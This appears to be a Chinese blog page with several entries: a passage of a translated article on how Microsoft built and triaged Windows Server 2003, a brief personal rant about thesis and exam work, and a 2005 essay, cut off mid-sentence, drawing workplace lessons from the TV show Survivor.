Thompson有自己的Build实验室,覆盖1200个人。主要的Build实验室进行官方Build,它每天进出上千人。贯穿大学的主干服务器自动
地将通知传送到各个地点。”

  Thompson说:“起初,我们可以每天在固定时间Check-In代码然后停止
开发,接着开始生成新系统。最终,我们将团队增加到85人,并将过程系列化以进行更多的控制。我们都为Dave
Cutler工作,他掌管生成实验室大约有一周,然后要求每个人在实验室白板上写下自己的Check-In请求,并使其成为强制模式。我也在那里待了一段
时间,有一天我收到了85个Check-In,那是我们当时可以有的最大数量,现在我们每天可以接收1000个以上。这是一个完全不同的比例。尽管现在白
板实际上是电子的——基于Web的。”

  “其他软件项目无法与之相比,”Lucovsky说,“但是有一件事是不变的,就是
生成Windows所需的时间。不管是该产品的哪一代,都需要12小时来编译并连接系统。”随着生产过程能力的增长,Windows也随之增大,开发过程
变得更为复杂,因此微软在每天的生成中进行更多的代码检查。“Build实验室的CPU连续不停地工作12个小时,从Windows
2000以后我们适应了这个过程。现在,我们将源代码彼此分隔开来并使用新的生成环境。这是一个多机环境,使我们可以更快地生产。但是由于所有的代码都要
进行分析,因此仍然需要12小时。”

  Thompson告诉我们,对于NT团队来说,完全“吞掉”他们自己的代码是必需
的,并且是与微软的自然条件并存的。“回想当年,这是我们一直在做的事之一,今天当我们谈起email程序时都感到很可笑。当时第一次在PC上运行NT
时,我们的Email程序无法工作,因为它是一个DOS程序,而我们当时还没有DOS兼容模式。所以我们将内部的Email程序WizMail改造成
Win32的,这样我们就可以只在NT系统上工作了。”

  Thompson补充道:“当你被迫自己使用系统时,如果你看到了漏洞以及性能问
题,你必须找到那个负责人并要求他修正问题。”Thompson加入NT团队时,他的一个主要职责就是将文件服务赋予NT,这样它就可以被用作源代码服务
器。它需要的信任,特别是自NT使用NTFS文件系统之后。“网络组非常认真地工作,”他说,“同时确保其做好内部布署的准备。一旦它开始实施,就不可能
回头。很显然,如果文件服务失败,那将是一场灾难。所以那是我们的非常时期。”

  后来,随着Windows NT
4.0开发的结束,Thompson的队伍采用了活动目录(AD),这是微软的第一个目录服务,它于1996年在Professional
Developers
Conference(PDC)公开发表。“在AD之前,我们在基础构造中使用NT域,”他说,“转向AD更为复杂。我们很早就部署了AD,先是我们的团
队,然后是更广泛的Windows小组。在1999年4月,我们在雷德蒙大学正式使用了AD。”

  Thompson说,微软谨慎地在公司的其他级别实施AD,大学在上一年使用
Windows Server 2003实现了多森林AD拓扑。“对所有的基础服务器,我们总是在内部进行完全的部署,然后推广到JDP(Joint
Development
Partners),他们进行测试,并在250个使用场景中将其产品化。我们收集错误报告、功能反馈以及复杂的测试环境,以考验产品。”

  2002年夏天,Windows Server
2003(RC1)的可靠性达到了99.995%。2002年11月,Microsoft.com网站完全采用Windows Server
2003(RC2)部署。“在内部大量使用并接近客户是关键,”Thompson告诉我,“我们现在的产品更加成熟。我们不仅仅售出盒装产品,还售出范围
广泛的补充工具、产品、服务以及文档。”Thompson还谈到当前Outlook 11、Exchange Server
2003(Titanium)和Windows Server
2003团队工作结合得更为紧密,以满足最终客户的需求。过去这些产品经常是独立开发,互不相干的。

  关注产品服务

  Lucovsky补充道:“这些年服务也走向成熟,我们为每一个产品做了大量的工作,提供正确的混合服务包、热修复、产品开发分支、beta以及JDP客户。”(在下一节里有更多关于开发分支的信息)

  “我们确实延长了对产品进行服务的时间。”Thompson说,因为微软售出一个服
务器产品时,客户可能使用长达10年之久。Volume或mainstream在过去的7年中提供服务,但是公司一直在研究提供全程升级和修正的方法。首
先,微软必须确保错误修正被应用到所有开发分支。“我们在快速定位安全性缺陷上的工作,意味着我们现在可以更积极主动地发布热修复,”Thompson强
调,“同样,它使服务包更具弹性,一个可以像传递修正包一样传递新功能的方法。但是客户使其更明确,他们只希望得到错误修正。尽管这导致了一个有趣的问
题:究竟什么才算是错误?一个缺失的功能是吗?客户经常有他们自己的观点。不过NT 4 SP3是最后一个包含主要新功能的服务包。”

  影响主干服务的一个方面是微软必须为近期产品的每一次改变保留测试环境。这意味着
Windows 2000的最终版或“黄金”版是一个分支,Windows 2000 SP1是另一个,Windows 2000
SP2又是一个,依此类推。“完全消化对于提供服务包也是很重要的。我们在自己的IT组织保留了一个独立的Windows
2000基础生成品,这样我们可以随时生成Windows 2000系统,并在产品环境中测试,”Thompson说,“这样做代价昂贵,但是值得。”

  热修复被精简成只修正一个特定问题,并且不会影响系统的其他部分。Thompson
说一般情况下,客户只有在受到相关问题影响时,才应用一个热修复,但是安全性修正则是另一回事。“我们希望所有的客户安装安全性修正,因此我们对它们非常
谨慎,并且做了足够的测试。它们一般是可分发的发布(Deployable Releases,GDRs),就像服务包一样。”

  主干、树和分支

  正如前面提到的,不同的Windows版本需要一系列的产品代码分叉路口,在那里不
同的Windows产品从“主干”开发中“分支”出去。因此每一次Windows发行会产生至少两个不同的版本,在本文撰写时,Windows
Server 2003和Longhorn正在同时开发。因为Windows Server
2003是从XP分离的,因此这个服务器产品基本构建于XP之上。在未来几年要超越XP的客户端发行版本Longhorn,实际上是从服务器代码分支基础
生成的,而不是您所期望的XP。

  Lucovsky告诉我们:“这个机制是自觉的,我们对当前Windows版本有一
个主要代码分支,它成为热修复和下一个服务包的源码基础。一旦我们推出一个服务包,它就成为一个新的分支,这样我们就有了两个分支,用来测试热修复和服务
包。我们不能告诉客户说安装SP1并进行热修复。这在每一次Windows发行中延续,因此会有两三个服务包,许多热修复以及许多安全性修正。其中每一个
都是被管理的,是一个5000万行代码的集合。这是一个巨大课题。”

  另外,对于每一个开发的主要分支,微软也有大约16个分支团队,并允许他们在公共主
线上独立地并行工作。每一个团队掌握一个完整的生成实验室环境,用来生成包含他们所做更改的完整发行版本,各团队定期地将经测试的更改整合到主要分支中,
这样他们可以互相交流已测试的工作。

  将错误消灭在作战室

  “如果有人不在作战室,我会批评他们,我专踢笨蛋。”

  ——Todd Wanke

  微软产品主管、Windows Server发行管理处

  项目最令人激动的地方是在作战室,在那里战斗团队每周5到6天,每天会面2到3次。
现在Windows
Server进入了开发的最后阶段。“战斗团队每天对项目进展进行度量并做出报告。”Thompson告诉我们,说作战室令人震惊毫不夸张。“现在一切都
是自动的,但是想当初我们刚来时,都要将我们的工作写在纸上。那时作战室有大约15到20个人。现在大不相同了。”

  Todd Wanke掌管Windows Server 2003的作战室,我们惊讶地发现他非常迷人。但是在作战室工作时,他是一个铁腕人物,他到处发号施令,产品组成员只能耐心地忍受残酷的会议进程。

  作战室的工作状况是这样的,每天早上9:30,来自不同Windows
Server 2003功能团队的代表进行会面并筛选错误。他们排队进入26号大楼的3243房间,它的门上标着手写的“Argument
Clinic”。在房子中央有一个大会议桌,但是许多参与者都站着,房子里总是塞满了人。我们参加战斗团队会议的那一天,这是第一次允许外界人员进入
Windows
Server的圣地,也是整个NT和Windows开发历史中的第二次,那一天团队讨论了大约50个错误,大部分是简单的商标错误,尽管那天不允许我们参
与一些特殊错误的讨论(因此我们很晚才进入,最重大的论题是在最后一刻将Windows .NET Server 2003改名为Windows
Server 2003)。

  每一个错误都被记入一个递增的错误跟踪系统,伴随着令人眼花的信息,包括错误是如何
发现的、是否有客户受到了影响,以及错误被根本解决的完整历史。Wanke快速地审阅错误,并叫来相关功能团队的成员,让他们说明修正进展的情况。例如,
如果IIS存在一个或多个错误,则IIS团队的代表需要列席,他不仅要说明错误,还要说明客户是否会受影响、修正对系统其他部分的影响,以及修正将在多长
时间内完成。在开发过程的最后,如果错误不是十分严重,它将被“传”给下一个Windows发行版本——Longhorn。

  作战室的气氛是紧张压抑的,我大部分时间都保持缄默,心里祈求Wanke不要注意到
我和我的团队。作战室里进行激烈的争辩,对错误的处罚是受到其他团队成员的耻辱,并把错误遗留给了Longhorn。当有人建议另找时间讨论时,
Wanke简单地说:“去它的,如果它足够重要,它就应该放在这里。它将留给Longhorn。下一个错误!”

  当漫长的会议结束后,我们坐下来与Wanke闲聊,这时他已完全判若两人。我对他
说:“你主持了一个有意义的会议。”Wanke的背景包括NCR节约开支、美国本田以及作为美国政府承包商的一个与安全性紧密相关的神秘角色。他已经伴随
微软接近8年了。在加入Windows团队之前,Wanke是Microsoft.com网站的原始设计者之一,在微软所有人认识到Internet的重
要性之前,他已经当了4年的“网民”。在我们的会谈中,Wanke讲述了他调换新工作的过程,他现在做什么,以及战斗团队是如何工作的。

  “我的工作是每天对Windows的销售操作进行管理,”他说,“我对800到1000个开发员、程序管理员和测试员负责,我必须保证他们每天做正确的事情。”

  Wanke说战斗团队由Windows团队的许多人组成,他们分别负责项目的不同领
域。他们的职责是测试TCP/IP和其他底层技术,一些开发员每天进行生成,另一些每天生成校验测试。他告诉我们:“项目的每个领域都有代表,战斗团队每
天向Windows Server队伍发出指令,指令也来自我发出的公告板邮件。这些邮件几乎都是绝密的,特别机密的邮件只发给少数小组成员。”

  正如我们所见,作战室是一个严密的机构,每天每小时都在精确运转。团队的成员每天研
究相同的错误系统,并经常共同修正一个错误。“如果你不在那里,它就不会好,”Wanke说,“微软的员工对产品有很强的主人翁意识,他们希望确保一切正
确。但是如果有人不在那里,我会批评他们,我专踢笨蛋。”

  除了早上的作战室会议,Windows
Server团队还在下午2到3点开会,如果需要,下午5到6点还有一次。每天的Build工作一般在4点半开始,但是可以推迟到6点,因此最后一次会议
使团队有机会将最终修正增加到当天的Build中。Wanke说:“这个机构是很重要的,我们需要在任何时间了解Build的进度。我们检查Build的
质量,不同的压力级别以及通宵运行发生的一切、任何我们需要跟踪的东西。我们获取详细的报告,并复检项目的所有内容。”

  除了主体战斗团队,每一个功能团队也有自己的作战室,因此每天最多可能有50次这样
的会议,每一次都针对一个特定的系统组件。这些额外的作战室会议每天早上8点召开。当一个错误修正在本地战斗团队通过后,它会被推荐给Wanke的会议。
“除非他们做好修正准备,否则他们不能进入作战室,他们必须准备好修正。”Wanke说。

  生成Windows的复杂程度令人惊叹。Wanke说:“为了简便,我们说
Windows由100,000个文件组成,通常有7个源码仓库,每一个都包含一个全部源码的正确复制,尽管我们只使用其中一个。每个开发组都有自己的仓
库,因此当一个开发员写好修正时,他可以用自己的源码仓库进行编译并进行测试,然后提交给主要Build试验室。”

  当然,不是所有的Build都是成功的。Windows
Server经常遭受微软所称的“低级Build(build on the
floor)”,当一个修正破坏了系统其他部分时,Build将报废。“那是残酷的,”Wanke告诉我们,“在去年有一段时间,我们在7天的时间里都无
法得到一个合格的Build。我们不得不给公司产品组发邮件解释这个问题。”后来公司输入了他们的保留版本Defcon-5。“所有的红色指标都攀升
了,”他说,“这使开发员牢牢记住了不要破坏Build。他们做了修正,一个好的Build,然后进行了检查。但是他们不能回家。我们在凌晨3点打电话,
当一个Build损坏时,要找出破坏它的开发员,让他立即工作并修复。这个开发员一天24小时随时待命。这将明显地增加工作量。一个损坏的Build被认
为是一级严重错误。”

  随着Windows Server
2003开发周期接近尾声,错误统计奇迹般地降低了,每天的过程也简单多了。接着微软宣布了名称改变。“我们不得不接受这个可恶的决定,”Wanke告诉
我们,“他们应该在6个月前作决定。那时我们都会赞成这样做的。但是后来CEO Steve
Ballmer不得不与所有的战斗团队探讨为什么做这个改变。”团队要修改所有商标图案、文本和系统注册表,要求的速度是前所未有的。问题是要在几千个地
方进行更改,而这通常需要在错误跟踪系统中增加几千个入口。“我出去找了3个最精干的开发员,然后说‘去改吧。’其中一个开发员修改了7,000处与
Windows .NET
Server相关的地方。我只是说有些人我信任,有些人我不信任。我告诉这些小伙子,‘不要告诉我你们做什么,尽管去做吧。’”

  向终点冲刺

  2003年1月21日,我们在作战室的那一天,据Wanke声称,Windows
Server
2003的错误达到了“绝对历史最低点”。“我们将在本周结束项目,”Wanke说,“它已完成了。我们将把它卖出去。”那一天,Windows
Server
2003只有少数的错误,并且大部分只是简单的商标问题。“我们有大约150个重要问题需要定位,其中,我们即将修正100个。所有这些错误的严重级别是
一到三,加起来我们只剩下很少的一级严重错误需要修正,在销售之前必须全部修正。”

  Wanke说那时服务器团队已经修复了所有已知的安全性缺陷。他说:“我们对安全性
很满意,很高兴看到我们是安全的,我个人对这个工作过程有深刻印象。这是个修正和思考的过程。我们都认为它非常安全。去年提出的‘可信赖计算’是我们的里
程碑,因此所有一切将会比较容易地开展。对开发员来说,他们现在有了统一的思想和最佳实践的相同培训。在从前不同的小组使用不同的方法。安全性使它们得以
统一。现在所有人都理解了最终思想,并且相互交流容易多了。”

  随着Windows Server
2003组件的开发完成,开发队伍进入了一个过渡期。首先,产品将被封存,生成过程会被冻结。这个Build会被分发到大学以及微软公司体系。Wanke
强调:“这是最终的Build,我们将停下一段时间,其间对产品不会有根本的修改。被封存的Build也将由测试者和JDP成员持有。”

  如果在封存期出现问题,战斗团队会逐个决定是否修正错误。如果是必要的内核修正,就
会产生一个新的Build,封存就被“重启”。“核心组件的更改会延迟RTM,”Wanke说,“我们将首先请求客户运行,在停工之前也要运行数天,这是
一个长时间的反复。”每一个Windows Server 2003功能团队都必须连续地运行封存生成品21天,然后才可以投放生产。

  但是Wanke并不担心精确的日程表,因为一年的辛勤工作最终会有结果,他的团队已
经开始为RTM庆祝聚会做准备,聚会将在大学的一个足球场举行,如果不被允许,就移到一个车库里,Wanke考虑的另一个与RTM相关的问题是必须确定启
动地点。“我和启动队伍一起登记地点,他们需要可信度在95%的确定日期。”他们也要使OEM们确信系统已准备好启用,“我必须确保8000个期望者得到
一个销售奖励。”Wanke补充道。

  最后,所有努力的结果是诞生了一个微软历史上最可靠最安全的操作系统,Wanke对
这个项目的贡献是不可忽视的。“在一年半的时间里,我基本上没有离开战斗团队,没有因为个人原因休息过一天,在后期我们每周工作6天,我们让员工在星期六
带上自己的孩子。那是一个家庭日。星期六没有法定要求。但你仍然要留在那里,仍然要进行生成工作。”

  Wanke还会掌管未来版本Windows的战斗团队吗?

  “没门,”他笑着说,“没门!”

晕了,这两个星期完全被学校的事烦死了,都没时间研究技术问题。

什么毕业论文啊,出试卷啊,头都大了。我这人又特别懒,文字性的东西最不喜欢写了,直接交个程序不就完了么。偏偏一大堆同学还把这种任务推给我呢,这不想我GO DEAD吗?可惜了一代帅哥就这样被毕业论文给害死了。真惨。。。

算起来跟GF短信一个星期都没超过10条。她这个学期大三了,要开始实习了,这事我也很烦的说。平时就不学好,天天在享受人生,就会吃喝玩乐,都不知道上过辈子做了多少好事,这辈子让我遇见她,哎。。。到要实习了才发现一无是处,哈哈,急死了吧。早该给点打击给你了,我偷着乐.  最怕到时候逼我帮找工作。

现在都凌晨一点了,还惨希希的在这出试卷,上来发发牢骚。想想下个星期的这个时候就在学校了,还是比较爽的,毕竟有些同学真可能以后一辈子都没机会再见了,在琢磨着到时候要不要跟班上同学来个集体哭喊比赛呢,嘻嘻,偷着乐,偷着乐…

2005年05月18日

幸存者游戏给出的12个启示


 

  前不久,看了一部由美国哥伦比亚广播公司(CBS)制作的名为幸存者(Surviors)的电视游戏纪实片。该片讲述了一场“游戏”,16名来自美国
各地的应招者被集中在南中国海的一片海岸丛林里,并且在与外界隔绝的情况下,进行一场为期39天的“幸存者游戏”。他们分成两组(TAGITRIBE和
PAGONGTRIBE),这两组每3天进行一场团体比赛,胜方会得到豁免权或他们要求的物品,而负方将举行投票淘汰掉他们中间的一个组员,因此这种比赛
又称豁免权比赛。比赛不停地进行下去,而淘汰也不停地进行下去,直到最终只剩下一个人的时候,这个人就是最后的获胜者,也就是“幸存者”,他将拿走100
万美元的奖金。

  显然,与其说这是“幸存者游戏”,还不如说是一场微型的“生存竞赛”,而游戏的举办者也正是要通过这场微型的“生存竞赛”,直观地向高度紧张和受压的现代人揭示深刻的团队竞争和个体生存的哲理。

  好吧,下面让我们看看这场在塔吉族(TAGITRIBE,以下简称T族)和帕公族(PAGONGTRIBE,以下简称P族)之间展开的“幸存者游戏”是如何进行的,以及我们能获得什么启示。

  T族的8名成员是:

  Hatch,Richard,39岁,通讯顾问。

  Wiglesworth,Kelly,女,23岁,水上救生员。

  Boesch,Rudy,72岁,美国海军退伍军人。

  Hawk,Susan,女,39岁,卡车司机。

  Kenniff,Sean,31岁,神经科医生。

  Been,Dirk,24岁,农场主兼牧师。

  Stillman,Stacey,女,28岁,社团律师。

  Christopher,Sonja,女,63岁,医疗志愿者。

  P族的8名成员是:

  Cordy,Gretchen,女,38岁,幼儿教师。

  Buis,Greg,25岁,大学生。

  Lewis,Jenna,女,23岁,模特。

  Peterson,Gervase,31岁,篮球教练(黑人)。

  Haskell,Colleen,女,24岁,大学生。

  Klug,Joel,28岁,推销员。

  Gray,Ramona,女,29岁,化学药剂师(黑人)。

  Andersen,B.B.,64岁,房屋契约人(已退休)。

  两族第一次豁免权竞赛是火炬运送比赛,比赛很简单,看哪个族最先把火炬从海上运送到岸边,结果P族胜利,T族失败。究其原因是那位63岁的医疗志愿者
—Sonja,在比赛前就把腿磕伤了,不仅行动不便而且还要别人照顾,所以她在第一次族人委员会(以下简称:族会)时被淘汰。

  第二次豁免权竞赛是食虫比赛。食虫,就是两族各派一名代表,看谁最先把两条约

10厘米长,3个手指粗的热带丛林肉虫吃下去(虽然有点恶心,但这绝对是纯天然的,绝对无毒)。对此,T族派出社团律师—Stacey,P族派出黑人篮球
教练—Gervase,结果律师出色地完成了任务,篮球教练失败。T族胜利,P族被迫举行族会,淘汰了B.B,那位64岁的房屋契约人。之所以淘汰
B.B,主要是他视周围的同伴如无物,一上岛就不经别人允许用别人的脸盆洗自己的衣服,并且说谎,于是游戏一开始,他就犯了众怒。



  ★启示1:在一个团队中,第一批被淘汰的通常是这样一些人,他们要么是有明显的缺陷,要么是刚开始就成了众人厌恶的说谎者。对于前者,明显缺陷使他根
本不能适应今后艰苦的竞争,淘汰这样的人无论对他还是整个团队都是明智的和轻易的;对于后者,当游戏刚开始众人就知道他在说谎,无疑,说谎者必须离开。特
别是如果你的年龄明显偏大,而又不能充分融入一个年轻的群体中。




  两族第三次豁免权竞赛是伤员营救比赛。比赛时,一人模拟伤员,其它族人当营救队,营救队抬着伤员经过复杂的地形把伤员送到指定地点。结果没有任何悬念,拥有较多年轻人的P族获胜。结果T族举行族会淘汰了Stacey,原因是她对族人的抱怨和毁谤。

Stacey终日的抱怨极大干扰着整个T族的正常生活,尤其是公开表示Rudy太老,没有竞争力,应该早点“赶走”他;对于Susan,Stacey也公
开表示不信任。后来的事实证明Stacey的判断是非常愚蠢和弱智的。总之,这样一个终日喋喋不休而又肆意诽谤族人的短视者,无疑是应该被淘汰的。

  两族第四次豁免权竞赛是寻宝比赛。不用多解释,“寻宝”二字已经说明了一切,结果练达老道的T族获胜(T族拥有医生的细致、军人的严格、救生员的敏
锐,比赛简直就是为他们设置的,而与此相反,P族则多是“愣头青”,所以结果是在情理之中的)。P族举行族会,淘汰了黑人化学药剂师—Ramona,原因
也是众口一词的,Ramona明显地不合群,不仅公开声称“自己没有白人朋友,不喜欢白人学校”,而且在P族刚刚上岛的几天里,她借口身体不适而不愿和其
它族人互相沟通,甚至很少聊天。



  ★启示2:在一个团队中,第二批被淘汰的人,通常是那些不愿与团队中的成员充分沟通和交流的人,由于大家不知道这些人的想法,所以对与这些“不合群”
的人合作没有信心。反之,完全可以想见的是,如果你的做事能力差,但你愿意和其它团队成员充分沟通,你就有可能在与大家的沟通中“碰撞”出“灵感的火
花”,从而为整个团队找到“好办法”,这样大家就知道你是有用的人,虽然可能做具体事不太行,但你的地位至少在初期是稳固的。




  两族第五次豁免权竞赛是划船比赛。这次比赛要求一名族人划船,其余族人一边游泳,一边护送小船,看哪族最先到达终点。划船似乎对T族很有利,因为P族
的Gervase不会游泳,所以他只能划船,而T族的人都会游泳,因而他们可以挑出一个最优秀的族人划船,最终T族选中了23岁的水上救生员—Kelly
作为划船手。但事情的结果却出人意料,由于身为篮球教练的Gervase力气很大,而Kelly虽然是水上救生员,她的划船技巧显然很出色,但力量却比
Gervase小很多,结果P族以较大的优势获胜。

  晚上,T族召开族会一致投票给Dirk,那个身强力壮,却终日只知道躺在树杈间看圣经的农场主兼牧师。特别是,当T族人的草屋被风浪摧毁后,大家需要
这个农场主提些建议并且有些行动,结果他却说,他是来游戏的,要充分享受生活,然后说是出海捕鱼,实际上却是躺在船上一边晒太阳,一边看他的圣经。对此族
人的愤怒是明显的,而受过严格训练的72岁的美国海军退伍军人—Rudy,对这种人更是不能容忍。他对大家说了一句“名言”:我能想到的带圣经到这里来的
唯一原因,那就是我需要手纸。



  ★启示3:当不合群的人被淘汰后,接下来就是那些有能力为团队工作而又不肯工作,终日懒散而妄图坐享其成的“鸡贼”分子。



  跨越障碍比赛是幸存者游戏上半段的最后一次豁免权竞赛,T族的领军任务落在了年富力强的通讯顾问Richard身上。这次T族克服了族人年龄偏大以及
岛上生存体力下降的困难,以微弱的优势战胜了P族的年轻人。最终,P族投票淘汰了那个虽然在射击比赛中创造了出色成绩,但却对同族女性表示出蔑视的推销员
Joel。



  ★启示4:居功自傲、藐视同僚的人将是团队初期的最后一批被淘汰者。这种人认为自己有过出色的成绩,于是藐视同僚,把整个团队的竞赛看成是个人英雄的
表演。显然,作为团队的竞赛,这种人在初期是有用的,是不可能被淘汰的,而当整个团队开始进一步发展的时候,这种人便会成为整个团队的桎梏。




  接下来是游戏的第二个阶段,两族合并成一族,继续以三天为一个周期进行豁免权比赛,但在讲述第二阶段比赛前,通过总结前18天的情况,我们还可以得到两点启示。

  经过18天的比赛,幸存者游戏已经从初期进入了中期,而划分这两个阶段的标志是真正的团队领袖(Team-Leader)的出现。



  ★启示5:一个公司初期和中期的发展,也是以真正的Team-Leader的出现来划分的。此前,团队的发展方向是由整个群体做出的,通常也会是公正
的。而当Team-Leader出现后,团队的发展方向将会受到群体意见的影响,也会受到Team-Leader个人意见的左右,换言之,团队的发展将是
这两个“分力”的“合力”。


  一个优秀的Team-Leader,将是一个有“公心”的,时而能固执己见,力挽狂澜,时而又能因势利导,从善如流的“力学”高手。而你如果总是“因
势利导”,就将被认为是缺乏魄力的“老好人”;而你如果总是固执己见,就将被认为是不能虚心纳谏的“偏执狂”;而你如果没有“公心”,甚至结党营私,即使
你能“因势利导”,即使你能“从善如流”,那人们也会给你个准确的评价—阴谋家。



  另一个有意义的启示是由那个31岁的黑人篮球教练Gervase引出的。他是个十分懒散的人,整天什么都不做,属于那种“吃嘛嘛不剩,干嘛嘛不成”的
人,倒是终日里跟大家“甜言蜜语”的。我曾经认为他在越野比赛后就应该被淘汰,但我错了,他一直没被淘汰掉,倒是立过大功的Joel率先成了“替罪羊”。
这说明了什么呢?



  ★启示6:在一个团队里总有一些不会做事,只会“耍嘴皮子”的“甜言蜜语”制造者,而且这些人的地位通常会比人们想象的稳固得多,或者说,一旦当整个团队出现问题时,这种人反而不会被淘汰。这种例子古今中外颇为多见。



  幸存者游戏进入第二阶段后,两族合并成了一族,改名叫RATTANA族(RATTANATRIBE,以下简称R族),我们看看还剩了哪10人:

  R族的10名成员是:

  HatchRichard,39岁,通讯顾问。(原T族)

  WiglesworthKelly,女,23岁,水上救生员。(原T族)

  BoeschRudy,72岁,美国海军退伍军人。(原T族)

  HawkSusan,女,39岁,卡车司机。(原T族)

  KenniffSean,31岁,神经科医生。(原T族)

  CordyGretchen,女,38岁,幼儿教师。(原P族)

  BuisGreg,25岁,大学生。(原P族)

  LewisJenna,女,23岁,模特。(原P族)

  PetersonGervase,31岁,篮球教练。(原P族)

  HaskellColleen,女,24岁,大学生。(原P族)

  随着第一阶段比赛的结束,原来的两族已经各自产生了他们自己的Team-Leader。T族的Richard长期负责捕鱼,为大家提供食物,更重要的
是别人数次尝试都没有捕到鱼,所以Richard占据了有利的位置,而且他年富力强,在越野赛中是领军人物。当然在好几次的族会中他都机智地回答了主持人
的问题,这也为他赢得了人心。Richard还有个副手—卡车司机Susan,他俩经常一起讨论事情,族里的大事他俩大约都能cover。

不过Richard也有问题,他坦承自己是个同性恋者,而且平时经常喜欢裸体,虽然原来的T族人已经习惯了他的裸体,但这肯定会影响他在新族中的形象。

  P族的Gretchen是众望所归的领袖,正是她出色的组织使T族在数次非豁免权竞赛中获胜,从而赢得了很多工具和食品。其实Gretchen的脱颖而出也是不难理解的,我们注

意到P族的年龄层次比较年轻,而且这些年轻人虽然充满活力,但尤其不善于管理自己和协调工作,这一点从P族赢得的比赛多是力量型的就可以看出,而身为幼儿园教师的

Gretchen,在教育和组织方面都很出色,从大家日常的接触中可以明显地感到P族的成员对她是拥护的。Gretchen的副手是Greg,他是大家公认的Gretchen最合适的后继者。

  现在两族合并成立了一个R族,但从另一个角度看也是Richard率领的原T族和Gretchen率领的原P族之间展开了一场新的竞赛。那么,谁是最终的幸存者?谁将拿走那100万美元?

  为了成为最终的幸存者,Richard和Susan开始商量联盟的事,他们联合了原T族的成员Kelly和Rudy,准备在进入游戏的最后阶段以前,通过联手投票的方式逐一淘汰掉

原P族的成员,然后只剩下他们四个再去争夺那100万美元。结果联盟出人意料地形成了,原T族的四人首先把目标对准了Gretchen,真是“擒贼先擒
王”。而对此以Gretchen为首的原P族,也意识到了这个问题,但他们没有制订相应的对策。特别是Greg更是公开抵制任何结盟,他崇尚比赛的公正,
最终Gretchen采取了稍等和先静观的态度,这或许是P族的第一个败招。

  合并后,新的豁免权竞赛—水下憋气比赛开始了,最终是Greg获胜,他成为当晚族会中不能被投票淘汰的人。对于Greg获胜,Gretchen和原P
族人都很高兴。但接下来“悲剧”发生了,当晚族会,Gretchen一人独得5票,被淘汰出局。当时不仅Gretchen自己,连所有原P族人都“傻眼
了”。现在可以知道那句谚语了:“先下手为强,后下手遭殃”。



  ★启示7:当两个已经走过初创期,并开始步入发展期的团队合并时,双方会面临很多差异、分歧和碰撞,而当面对一个共同的竞争时,这种碰撞将尤为激烈,而且表现方式是多种多样的,甚至是不择手段的,而一种暗地里的,被称做“阴谋”的东西通常就在这个时候应运而生了。



  在投票结果中,我们注意到Richard发起的联盟是“四人团”(Richard、Susan、Kelly和Rudy),而Gretchen却出人意料的得到了五票,那么,是谁投了这恶毒的第五票?

  答案是:原T族成员,没参加“四人团”的31岁神经科医生Sean。应该说对于Sean准确的评价是“愚蠢的老好人”,他干活很用心和卖力,而且为了表示自己的公正,他

明确表示不参加任何联盟并公布了自己的投票策略:按照字母序依次投票(多么愚蠢,如果是这样干嘛还要来参加这种激烈的竞争呢?)。当天他恰好该投给Gretchen,于是

他就这样做了,可怜的Gretchen以半数得票而被淘汰。

  说Sean愚蠢,是他的举动被人利用了,却还浑然不觉。Richard正是利用了Sean按照字母序投票的规律,而且当天恰好该投给Gretchen
了,所以“借力打力”,最终“铲除”了劲敌。俗话说“聪明人同样的错误只犯一次,而蠢人却会犯多次”,Sean愚蠢的投票方式,后来再次被Richard
利用来“铲除”对手,而当Sean开始意识到自己的危险时,他已经没有任何反击和自救的机会了,他被全票淘汰。



  ★启示8:在激烈的团队竞赛中,个人的生存只有两条道路:支持和反对,如果你想走第三条路,一定会失败。很多公司的内部斗争都被简称为“站队”,结果通常是如果你不站在我这一队里,你就是我的敌人,我不仅要防着你,而且迟早要“铲除”你。



  其实对于P族来说,在他们意识到对手的联盟将有可能对他们造成严重的伤害时,他们并不是一点反击甚至防守的机会都没有,显然以Richard为首的原
T族要先“铲除”Gretchen,这时如果P族不愿结盟,或者想先静待一下的话,他们至少可以通过故意让Gretchen赢得那次水下憋气比赛,来使
Gretchen得到豁免权,这样Richard的阴谋不会马上得逞。

  但令人遗憾的是:水下憋气比赛对女性来说确实有点难,即便P族人故意让着Gretchen,如果Gretchen表现不是十分出色也是无法得到豁免
权。要知道即便抛开T族的女性和72岁高龄的Rudy,38岁的Gretchen与39岁Richard“单练”,只怕也没有多少胜算。这是一招“险
棋”,但原P族的那帮“愣头青”既缺乏“敏锐的嗅觉”,更不可能想出这招“险棋”来应战,这一方面是因为最终只有一个人能拿走那100万美元,而
Gretchen如果得到豁免权,另一名P族人就会离开,而每个人都想成为最终的“幸存者”;另一方面也是更重要的,“舍小救大”、“唇亡齿寒”是东方人
的哲学,可以想见,如果P族是清一色的日本人,那么他们是会想到这招“险棋”的。

  P族不可能“弄险”正如在西方世界永远不可能出现围棋的高手一样,其原因并不是在西方国家下围棋的人少,而是东、西方哲学上的差异决定的,而这种哲学
上的差异直接影响了人们的方法论。所以当Gretchen错误地判断了形式,对于潜在的危机采取了待观的策略时,P族就已经开始走向失败了。

  虽然不幸中的万幸是P族的2号人物Greg还在,P族还不是一盘散沙。但万幸中的不幸是,剩下的P族人对于T族的阴谋还没有十分的警觉并立刻采取具体
行动。从后来的结果看,这是P族的第二个败招。毫无洞察力的篮球教练Gervase还在说什么应该联手淘汰掉对方的“老家伙”Rudy,全然不知对方的核
心人物是Richard。而Rudy的年龄虽然大,但他受过严格军事训练,在团队生存经验方面远远胜过常人,虽然T族的核心是Richard和
Susan,但Rudy早已成为T族仅次于他俩的中坚力量。

  两族合并后的第二次豁免权赛是走迷宫比赛,结果“吃嘛嘛不剩,干嘛嘛不成”的Gervase获胜,但悲剧也从这一刻又开始了。当晚族会,P族的2号人物Greg被淘汰。

  而愚蠢的Gervase到现在才知道自己以前的判断有多可笑,原来P族的三个人(Jenna,Gervase,Colleen)也才确信了对方的阴
谋,并且决定也以联盟的方式对付Richard,但他们的反击为时已晚,原P族剩下的三个人已经无法抗击Richard力量强大的“四人团”了。



  ★启示9:在一个高度竞争的团队中,你必须有敏感的洞察力,并时刻警惕危险的出现,对于哪怕是潜在的危机,也必须有充分的估计并立即制订有效的对策。
而如果你的动作慢了,或者犹豫了,你将面临危险,虽然也许你不会被马上淘汰,但这种危险将使你陷入被动,最终导致无法逆转的恶果。充分估计和快速应对,正
符合孙子兵法的名言:“多算胜,少算负,而况于无算乎”。P族的不利境地正是估计不足,反应迟缓造成的。






  两族合并后的第三次豁免权竞赛是绳索攀爬比赛,结果原P族的Colleen获胜,显然她当晚是安全的,于是联合了同族的Jenna和Gervase,
